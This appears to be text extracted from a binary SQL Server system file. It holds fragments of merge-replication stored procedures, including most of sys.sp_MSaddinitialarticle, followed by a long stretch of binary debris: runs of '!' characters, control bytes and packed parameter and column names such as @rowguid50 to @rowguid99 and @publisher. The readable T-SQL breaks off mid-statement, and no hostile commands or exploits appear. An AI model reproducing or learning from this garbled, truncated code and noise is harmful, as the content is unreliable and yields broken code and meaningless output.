            
    /* If there are no rows in #notbelong, then drop the global ##notbelongs so that we do not call sp_MSenumpartialchanges */
    if (@notbelongsempty = 1)
    begin
        /* Post SQL 8.0 Beta 2 agents pass this flag with value 1 since they can handle NULL notbelongs table name */
        if @handle_null_tables = 1
            begin
                set @cmd = 'drop table ' + quotename(@notbelongsname)
				exec(@cmd)
                select @notbelongsname = NULL
            end
    end
    else
    begin
        /* transfer rows from local temp to global temp */
        set @cmd = 'insert into ' + quotename(@notbelongsname) + ' (tablenick, rowguid, generation, lineage, type) 
               select distinct b.tablenick, b.rowguid, ' + @notbelongmetadatacols + ', b.type from
               #notbelong b left outer join dbo.MSmerge_contents c  
               on  c.tablenick = b.tablenick 
                           and c.rowguid = b.rowguid
               left outer join dbo.MSmerge_tombstone t 
                           on t.tablenick = b.tablenick 
                           and t.rowguid = b.rowguid 
                           order by b.tablenick DESC, b.rowguid ASC '
		exec(@cmd)
        if @@ERROR <>0  
        begin
            return (1)
        end

        -- this index will be useful in sp_MSenumpartialdeletes
        set @cmd = 'create index nc1notbelongstable on ' + quotename(@notbelongsname) + ' (tablenick DESC, rowguid) with FILLFACTOR = 100'
		exec(@cmd)
        if @@ERROR <>0  
            return (1)
        

    end

    if (@belongsempty = 1)
        select @belongsname, @notbelongsname, -1
    else
    begin
        if (@articlesoption = 1)
        begin
            select @belongsname, @notbelongsname, @tablenickname
        end
        else
        be!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('(
Fdav+J
-- Called at the subscriber
create procedure sys.sp_MSaddinitialarticle(
    @article                sysname,        /* Name of the article */
    @artid                  uniqueidentifier,           /* Article ID */
    @pubid                  uniqueidentifier,           /* Publication ID */
    @nickname               int,                /* Article nickname */
    @column_tracking        int,                /* Does the article have column tracking ? */
    @status                 int,                /* Status of the article */
    @pre_creation_command   int = 0,            /* Precreate command of the article */
    @resolver_clsid         nvarchar(255) = NULL,/* Resolver module for the article */
    @insert_proc            nvarchar(255) = NULL,/* Insert sp for article */
    @update_proc            nvarchar(255) = NULL,/* Update sp for article */
    @select_proc            nvarchar(255) = NULL, /* Select SP for this article */
    @destination_object     sysname,            /* Destination object name */
    @missing_count          int          = NULL,    
    @missing_cols           varbinary(128) = NULL,
    @article_resolver       nvarchar(255) = NULL,
    @resolver_info          nvarchar(517) = NULL,
    @filter_clause          nvarchar(2000) = NULL,
    @excluded_count         int             = NULL,
    @excluded_cols          varbinary(128)  = NULL,
    @destination_owner      sysname         = NULL,
    @identity_support       int             = 0,
    @verify_resolver_signature int          = 1,                            /* 0=do not verify signature, 1=verify that signature is from trusted source, more values may be added later */
    @fast_multicol_updateproc bit           = 0,
    @published_in_tran_pub  bit                         = 0,
    @logical_record_level_conflict_detection bit = 0,
    @logical_record_level_conflict_resolution bit = 0,
    @partition_options          tinyint = 0,
    @processing_order           int = 0,
    @upload_options                     tinyint = 0,    -- Determines whether non-global subs can update rows of that article.
    @delete_tracking       bit   = 1,  -- Determined whether deletes will be tracking for this article.
    @compensate_for_errors      bit = 0,
    @pub_identity_range  bigint = NULL,
    @identity_range  bigint = NULL,
    @threshold  int = NULL,
    @stream_blob_columns        bit = 0,    
    @preserve_rowguidcol   bit = 1    
    ) AS
    
    SET NOCOUNT ON

    declare @objid                              int
    declare @sub_missing_cols   binary(128)
    declare @retcode                    int
    declare @upload_options_previous tinyint
    declare @delete_tracking_previous  bit
    declare @stream_blob_columns_previous  bit    
    declare @compensate_for_errors_previous bit
    declare @preserve_rowguidcol_previous bit
    declare @qualified_name nvarchar(270)


    /*
    ** Check for subscribing permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    if (@artid is NULL)
    BEGIN
        RAISERROR (14057, 16, -1)
        RETURN (1)
    END

    -- If this is a no-sync subscription then the article should exist before
    -- we can create entry in sysmergearticles.

    if exists (select * from dbo.sysmergesubscriptions
                where upper(subscriber_server collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS)
                    and pubid = @pubid and db_name = DB_NAME() and sync_type = 2)
    begin

    if @destination_owner IS NULL
    begin
            select @qualified_name = quotename(@destination_object)
    end
    else
    begin
            select @qualified_name = quotename(@destination_owner) + '.' + quotename(@destination_object)
    end

        select @objid = object_id(@qualified_name)
        
        if @objid IS NULL
        begin 
            raiserror(21078, 16, -1, @destination_object)
            RETURN (1)
         end
    end
    
   -- Make sure the article does not already exist in a lightweight subscription.
    if exists (select top 1 artid from dbo.sysmergearticles 
                    where nickname=@nickname and lightweight=1)
    begin
        raiserror(21526,16,1, @article)
        return 1
    end

    /*
    ** The columns that do not belong to the partition at subscriber side are nothing but
    ** missing columns to the subscriber side - it just does not have them !
    ** For the same reason, the excluded ones from publisher does not mean anything to
    ** subscriber, which does not exclude anything for itself. We just reset to 0
    */
    select @missing_count = @missing_count + @excluded_count
    exec @retcode= sys.sp_ORbitmap @missing_cols, @excluded_cols, @sub_missing_cols OUTPUT
    if @@error<>0 or @retcode<>0 return(1)
    
    if (@resolver_clsid='')  select @resolver_clsid = NULL
    
    if (@filter_clause='') set @filter_clause = NULL
    
    -- If that article is already part of another publication, reuse its "upload_options" property.
    set @upload_options_previous= (select top 1 upload_options 
                                    from dbo.sysmergearticles
                                    where artid = @artid)
    if @upload_options_previous is not null
        set @upload_options= @upload_options_previous


        -- If that article is already of another publication, reuse its "delete_tracking" property.
    -- 1 is default so look for 0.
    set @delete_tracking_previous= 1
    select @delete_tracking_previous= delete_tracking from dbo.sysmergearticles
                                                                        where artid = @artid and
                                                                                  delete_tracking = 0
    if 0 = @delete_tracking_previous
        set @delete_tracking=0

        -- If that article is already of another publication, reuse its "stream_blob_columns" property.
    -- 1 is default so look for 0.
    set @stream_blob_columns_previous= 1
    select @stream_blob_columns_previous= stream_blob_columns from dbo.sysmergearticles
                                                                        where artid = @artid and
                                                                                  stream_blob_columns = 0
    if 0 = @stream_blob_columns_previous
        set @stream_blob_columns=0

    -- If that article is already part of another publication, reuse its "compensate_for_errors" property.
    set @compensate_for_errors_previous= (select top 1 compensate_for_errors 
                                                                                        from dbo.sysmergearticles
                                                                                where artid = @artid)
    if @compensate_for_errors_previous is not null
        set @compensate_for_errors= @compensate_for_errors_previous
   
    -- If that article is already part of another publication, reuse its "preserve_rowguidcol" property.
    set @preserve_rowguidcol_previous= (select top 1 preserve_rowguidcol 
                                               from dbo.sysmergearticles
                                           where artid = @artid)
    if @preserve_rowguidcol_previous is not null
        set @preserve_rowguidcol= @preserve_rowguidcol_previous
               
    /*
    ** Populate the local copy of dbo.sysmergearticles
    */
    if exists (select * from dbo.sysmergearticles where artid = @artid and pubid = @pubid )
        begin
        
        -- updating an existing entry to become not well-partitioned is never a problem. updating to make it
        -- well-partitioned can only be allowed when this is the only entry.
        --if @well_partitioned = 1 and (select count(*) from dbo.sysmergepartitioninfo where artid = @artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`})
|(
쀵6ZiS	$@rowguid56ZiS
$@rowguid66ZiS$@rowguid76ZiS$@rowguid86ZiS
$@rowguid96ZiS6@rows_tobe_deleted6ZiS&@tablenick6vW&@object_id6vW4@update_flag_list6;d command6;d0distribution_id6;d"end_time6;d"error_id6;d(pdw_node_id6;d&request_id6;d
$row_count6;dspid6;d&start_time6;dstatus6;d&step_index6;d	6total_elapsed_time6mi*@publication63l@login63l*@publication63l&@publishern6n$@filename=r6=r@geog6v6@new_originator_id6v6@old_originator_id6v*@publication6~ @action6~*@publication6~&@publisher6~,@publisher_db6~(@subscriber6~.@subscriber_db6/@pubid6 $@gencount6 "@genlist6BCHARACTER_MAXIMUM_LENGTH6>CHARACTER_OCTET_LENGTH6<CHARACTER_SET_CATALOG66CHARACTER_SET_NAME6:CHARACTER_SET_SCHEMA64COLLATION_CATALOG6.COLLATION_NAME62COLLATION_SCHEMA62 CREATED6$DATA_TYPE66DATETIME_PRECISION6$.DTD_IDENTIFIER6(4EXTERNAL_LANGUAGE6',EXTERNAL_NAME66INTERVAL_PRECISION6,INTERVAL_TYPE6*2IS_DETERMINISTIC61@IS_IMPLICITLY_INVOCABLE6,*IS_NULL_CALL60:IS_USER_DEFINED_CAST63*LAST_ALTERED6/@MAX_DYNAMIC_RESULT_SETS6#8MAXIMUM_CARDINALITY6.MODULE_CATALOG6
(MODULE_NAME6	,MODULE_SCHEMA64NUMERIC_PRECISION6@NUMERIC_PRECISION_RADIX6,NUMERIC_SCALE6)0PARAMETER_STYLE6%*ROUTINE_BODY6ZiS6&@rowguid506ZiS7&@rowguid516ZiS8&@rowguid526ZiS9&@rowguid536ZiS:&@rowguid546ZiS;&@rowguid556ZiS<&@rowguid566ZiS=&@rowguid576ZiS>&@rowguid586ZiS?&@rowguid596ZiS@&@rowguid606ZiSA&@rowguid616ZiSB&@rowguid626ZiSC&@rowguid636ZiSD&@rowguid646ZiSE&@rowguid656ZiSF&@rowguid666ZiSG&@rowguid676ZiSH&@rowguid686ZiSI&@rowguid696ZiSJ&@rowguid706ZiSK&@rowguid716ZiSL&@rowguid726ZiSM&@rowguid736ZiSN&@rowguid746ZiSO&@rowguid756ZiSP&@rowguid766ZiSQ&@rowguid776ZiSR&@rowguid786ZiSS&@rowguid796ZiST&@rowguid806ZiSU&@rowguid816ZiSV&@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MN_NAME6	$DATA_TYPE66DATETIME_PRECISION6.DOMAIN_CATALOG6(DOMAIN_NAME6,DOMAIN_SCHEMA6,IS_COLUMN_SET6,IS_FILESTREAM6(IS_NULLABLE6$IS_SPARSE64NUMERIC_PRECISION6
@NUMERIC_PRECISION_RADIX6,NUMERIC_SCALE6$OBJECT_ID62ORDINAL_POSITION6,TABLE_CATALOG6&TABLE_NAME6*TABLE_SCHEMA60@backupdatabase64@backupdevicename64@backupdevicetype64@backupservername6(@fileidhint6	"@lastlsn6.@mediapassword6$@password6 @unload6$@property6@pubid6@value6*@publication6&@publisher6,@publisher_db6<@dts_package_location64@dts_package_name6<@dts_package_password6 @job_id6(@originator6.@originator_db6>@originator_db_version6.@originator_id60@originator_lsn6@@originator_publication6F@originator_publication_id68@originator_version61&@validsubs6Ũ*@column_list6Ũ(@guid_alias6ŨZ@include_logical_record_link_columns6Ũ@pubid6Ũ,@source_objid6VԴ(@columnmask6VԴ@owner6VԴ&@publisher6VԴ0@publisher_type6VԴ&@rowfilter6VԴ@table6?M&@hasaccess6?M@login6@pubid6<@upload_before_reinit6o	Bblocking_exec_context_id6o8blocking_session_id6o<blocking_task_address6o0exec_context_id6o2resource_address6o
:resource_description6o&session_id6o2wait_duration_ms6o$wait_type6o:waiting_task_address6Af>@fulltext_catalog_name6B@found6B*@publication6B0@publication_id6B&@publisher6B,@publisher_db6B$@reserved6C$@agent_id6C(@agent_type6C,@profile_name6s,@group_number!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pH$~T6


h
B

j2xR4


r
F
(
		|	V		h:J^@"jBvL&x8`4\.`	)xX*	1'b6w$@rowguid56w$@rowguid66w	$@rowguid76w
$@rowguid86w$@rowguid96w&@tablenick6J&local_node6J&page_class6J&read_count6J(remote_node6J(write_count6QF"@colname6QF@indid6QF,@source_table6,@stat_catalog6&@stat_name6*@stat_schema6.@table_catalog6(@table_name64@table_name_dummy6,@table_schema6>@fulltext_catalog_name6(@table_name6$2allocated_memory6$2available_memory6$"error_id6$	*handle_count6$*is_available6$(pdw_node_id6$4process_cpu_usage6$&process_id6$*process_name6$
,received_time6$$sent_time6$*thread_count6$0total_cpu_usage6$
6total_elapsed_time6$@database6(@primary_id6Y"@dllname6Y&@functname6*0*@column_name6*0*@fUsePattern6*0"@ODBCVer6*00@procedure_name6*02@procedure_owner6*0:@procedure_qualifier6՛@mode6՛0@monitor_server6՛<@monitor_server_login6՛B@monitor_server_password6՛L@monitor_server_security_mode6*@column_name6"@grantee6"@grantor6.@table_catalog6(@table_name6,@table_schema6,@table_server6n,@check_distdb6n"@srvname6J"@ver_old6J.@ver_retention6?`"@article6?`8@destination_server6?`*@publication6?`&@show_rowsƲ6£.@InsColumnList6£$@InsTable6£4@SelectColumnList6£ @Server6j	>@enumentirerowmetadata6j"@genlist6j @maxgen6j"@maxrows6j @mingen6j,@partition_id6j@pubid6j"@rowguid6j&@tablenick6GU8@original_publisher6GU,@publisher_db6GUB@publisher_linked_server6GU:@replica_server_name6w4&@rowguid506w5&@rowguid516w6&@rowguid526w7&@rowguid536w8&@rowguid546w9&@rowguid556w:&@rowguid566w;&@rowguid576w<&@rowguid586w=&@rowguid596w>&@rowguid606w?&@rowguid616w@&@rowguid626wA&@rowguid636wB&@rowguid646wC&@rowguid656wD&@rowguid666wE&@rowguid676wF&@rowguid686wG&@rowguid696wH&@rowguid706wI&@rowguid716wJ&@rowguid726wK&@rowguid736wL&@rowguid746wM&@rowguid756wN&@rowguid766wO&@rowguid776wP&@rowguid786wQ&@rowguid796wR&@rowguid806wS&@rowguid816wT&@rowguid826wU&@rowguid836wV&@rowguid846wW&@rowguid856wX&@rowguid866wY&@rowguid876wZ&@rowguid886w[&@rowguid896w\&@rowguid906w]&@rowguid916w^&@rowguid926w_&@rowguid936w`&@rowguid946wa&@rowguid956wb&@rowguid966wc&@rowguid976wd&@rowguid986we&@rowguid996u&@tablenick6u"@rowguid6u@pubid6u4@acknowledge_only6u&@rowvector6g&@tablenick6g"@rowguid6g @action6g$@metatype6g&@rowvector6s|$@command16s|*@replacechar6s|$@command26s|$@command36s|$@whereand6s|(@precommand6s|*@postcommand!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4


p.Lh
F
(
x:`6



j
>

			n	L	"	X(pN$t"@f0\6d2n:h&<`:hB^8zT.pJ$f@\6xR,n`g)H+Oh6+*@srvrolename6m&@tablename6
2@allow_anonymous6L@allow_initialize_from_backup6	(@allow_pull6(@allow_push66@allow_queued_tran6B@allow_subscription_copy6
*@description60@immediate_sync66@independent_agent62@logreader_agent6"@options6*@publication60@publication_id64@publication_type6&@publisher6,@publisher_db6D@publisher_engine_edition60@publisher_type6(@queue_type6&@retention6>@retention_period_unit60@snapshot_agent6*@sync_method68@thirdparty_options6*@vendor_name6Y@ftcat6G*@publication*6*@artid6*"@artnick6nDN@dynamic_filters_function_list6nD:@has_dynamic_filters6nD0@uses_host_name6nD4@uses_suser_sname6nD$@viewname6F@onoff6@.O
2@active_end_date6@.O@@active_end_time_of_day6@.O6@active_start_date6@.O
D@active_start_time_of_day6@.O(@agent_type6@.O8@frequency_interval6@.OJ@frequency_recurrence_factor6@.OJ@frequency_relative_interval6@.O4@frequency_subday6@.O	F@frequency_subday_interval6@.O0@frequency_type6@.O&@publisher6@.O(@subscriber6O*cluster_name6O*quorum_state6O4quorum_state_desc6O(quorum_type6O2quorum_type_desc6T@tabid6V$@agent_id6V(@agent_type6V$@database6V@mode6V@dbms6V"@version6NZ@artid6NZ6@destination_owner6NZD@generate_downlevel_procs6NZD@generate_subscriber_proc6NZ&@ownername6NZ$@procname6NZ@pubid6NZ&@tablename6[*@debug_print6[@objid6[B@schemasubtype_addcolumn6[:@schemasubtype_adddf6i"@catalog6i@name6i @schema6i @server6i*CHECK_OPTION6i(DESCRIPTION6i*IS_UPDATABLE6i,TABLE_CATALOG6i&TABLE_NAME6i*TABLE_SCHEMA6i0VIEW_DEFINITION6s$@binvalue6s$@hexvalue6bt"index_id6bt$object_id6bt,physical_name6y created6y(database_id6yid6y$object_id6ysid6m&@ownername6m$@procname6m@pubid6m@artid6mD@generate_downlevel_procs6mD@generate_subscriber_proc6m6@destination_owner!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j>V0hH,


p
F
 

t0^6


f
<

			N		N&l:ZvL|V.h4P ~V.N*l`<)d$,7k LI62@ident_increment6.@used_till_now63,@upgrade_done634@upgrade_metadata6I"group_id6I@primary_recovery_health6IJprimary_recovery_health_desc6I0primary_replica6IDsecondary_recovery_health6INsecondary_recovery_health_desc6I>synchronization_health6IHsynchronization_health_desc68Z0@conflict_table68Z6@origin_datasource68Z.@originator_id68Z @row_id68Z"@tran_id6EZ8@drop_linked_server6EZ&@pubdbname6EZ&@publisher6EZB@publisher_linked_server6d*@publication6d&@publisher6d,@publisher_db6i,@partition_id6(@objecttype6@objid6<@pass_through_scripts64@qual_object_name6B@aggressive_cleanup_only66@num_contents_rows6:@num_genhistory_rows68@num_tombstone_rows6L@pubid63Ǘ@alter63Ǘ"@article63Ǘ.@creation_mode63Ǘ$@is_debug63Ǘ*@publication63Ǘ&@usesqlclr6o&@publisher6o"@version6'@login6'$@password6'$@provider6'&@publisher6E%(@procsuffix6y*@fUsePattern6y(@table_name6y*@table_owner6y2@table_qualifier6 @name6O:@alt_snapshot_folder6O(@force_null6O*@publication6O&@publisher6*@range_begin6&@range_end64@next_range_begin60@next_range_end!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J
 
			p	F		^@V4PX,nH"zD@B 
p


`)Rn-0':66֜@subid62o,@partition_id62o*@publication67$@rolename6 @object6@owner6@artid66@destination_owner6D@generate_subscriber_proc6&@ownername6$@procname6@pubid6&@tablename6ʷ.allocations_kb6ʷ>allocations_kb_per_sec6ʷ<future_allocations_kb6ʷ	4last_notification6ʷ6memory_broker_type6ʷ2overall_limit_kb6ʷ
(pdw_node_id6ʷ pool_id6ʷBpredicted_allocations_kb6ʷ<target_allocations_kb62,@fordiagnosis62@owner62&@publisher62&@tablename6ۿ@found6ۿ*@publication6ۿ&@publisher6ۿ0@publisher_type6;2@current_version6; @is_p2p6v%&definition6v%$object_id6v%2procedure_number6xQ*partition_id6xQ2sublatch_address6xQ6superlatch_address6</	0client_app_name6</cpu6</(create_time6</event6</"event_id6</(pdw_node_id6</reads6</&session_id6</"sql_text6</
&tsql_stack6</writes6"@rowguid6&@tablenick60@publication_id6@time6U	@@allow_partition_switch6U4@capture_instance6U<@captured_column_list6U0@filegroup_name6U(@index_name6U&@role_name6U*@source_name6U.@source_schema6U<@supports_net_changes6t6	,@new_password6t6	,@remote_login6t6	 @server6t6	*@server_type6N4@destination_dbms6N8@destination_length6N<@destination_nullable6N>@destination_precision6N6@destination_scale6N4@destination_type6N
:@destination_version6N(@mapping_id6N*@source_dbms6N6@source_length_max6N6@source_length_min6N2@source_nullable6N<@source_precision_max6N<@source_precision_min6N
4@source_scale_max6N	4@source_scale_min6N*@source_type6N0@source_version6&@ddloffset6(@identifier6#.@source_object6#,@source_owner6h$*@DbPrincipal6h$&@no_result6h$,@process_name6h$.@queue_timeout6h$8@return_immediately6%$@nickname6%@objid6%&@tablenick6,+ @cookie60*@locallgname60,@remotelgname60.@remotesrvname6 2$@agent_id6 2(@agent_type6 2*@curdate_utc6 2D@history_retention_period6 20@monitor_server63"bucketid63*cacheobjtype63<memory_object_address63 objtype63
6parent_plan_handle63(pdw_node_id63(plan_handle63	 pool_id63$refcounts63,size_in_bytes63$usecounts6 6*@distributor6!9(@agent_type6!9 @job_id6!9.@offloadserver6?(@inscommand6?@objid6E@artid6E&@publisher6E.@publishertype6Q2awe_allocated_kb6Q
*host_address6Q:memory_clerk_address6Q.memory_node_id6Qname6Q>page_allocator_address6Q6page_size_in_bytes6Q"pages_kb6Q(pdw_node_id6Q
Fshared_memory_committed_kb6Q	Dshared_memory_reserved_kb6Qtype6QHvirtual_memory_committed_kb6QFvirtual_memory_reserved_kbq[6EKf*@debug_print6EKf@objid6EKf.@schema_option6EKf6@subtype_addcolumn6EKf:@subtype_altercolumn68!q.@database_name68!q@mode68!q,@update_table6us$@dataloss6usD@destination_createparamsv6v&@publisher6v,@publisher_db6v*@publication6v@pubid6v@subid6v@artid6v@objid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(TTh@b(xZ<tP$Z:>nD$V*X2$zP2lb&


L
"
VpF&


d
:

			L		xZ4jB*h6jDf*n8\6T6~`tU)~.;^D6,@missing_cols60@relative_colid6@artid6*@range_begin6&@range_end6(@range_type6,@ranges_given6@subid6&$@agent_id6&$@comments6&8@delivered_commands6&@@delivered_transactions6&	,@do_raiserror6&$@duration6&&@log_error6&6@perfmon_increment6&&@runstatus6&
6@start_time_string6&:@update_existing_row60@monitor_server6.@lock_acquired6$@lockmode6"@timeout64CHAR_OCTET_LENGTH6:CHAR_OCTET_LENGTH_286&COLUMN_DEF6(COLUMN_NAME6$DATA_TYPE6
*DATA_TYPE_286	*DATA_TYPE_906 (IS_NULLABLE6LENGTH6$LENGTH_286$LENGTH_906"NULLABLE6$OBJECT_ID6,(OBJECT_TYPE6 ODBCVER62ORDINAL_POSITION6
